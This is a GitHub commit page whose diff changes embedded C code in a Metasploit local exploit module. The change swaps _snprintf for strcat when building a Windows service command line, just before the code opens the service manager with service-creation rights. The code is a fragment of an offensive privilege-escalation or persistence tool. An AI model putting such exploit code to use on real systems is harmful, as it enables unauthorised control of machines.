Merge pull request #4 from jrobles-r7/service-patch

Work around snprintf
GSoC/Meterpreter_Web_Console
Green-m 2018-12-14 20:05:32 +08:00 committed by GitHub
commit 48ad8e8038
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 16 additions and 3 deletions

View File

@ -357,14 +357,27 @@ class MetasploitModule < Msf::Exploit::Local
// Build the service command line
char cmd[MAX_PATH];
int len = _snprintf(cmd, sizeof(cmd), "\\"%s\\" #{@start_cmd}", path);
//char cmd[MAX_PATH];
//int len = _snprintf(cmd, sizeof(cmd), "\\"%s\\" #{@start_cmd}", path);
if (len < 0 || len == sizeof(cmd)) {
//if (len < 0 || len == sizeof(cmd)) {
// //printf("Cannot build service command line (0x%08x)", -1);
// return FALSE;
//}
char cmd[MAX_PATH];
int total_len = strlen(path) + #{3 + @start_cmd.length};
if (total_len < 0 || total_len >= sizeof(cmd)){
//printf("Cannot build service command line (0x%08x)", -1);
return FALSE;
}
cmd[0] = '\\0';
strcat(cmd, "\\"");
strcat(cmd, path);
strcat(cmd, "\\" #{@start_cmd}");
// Open the service manager
hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);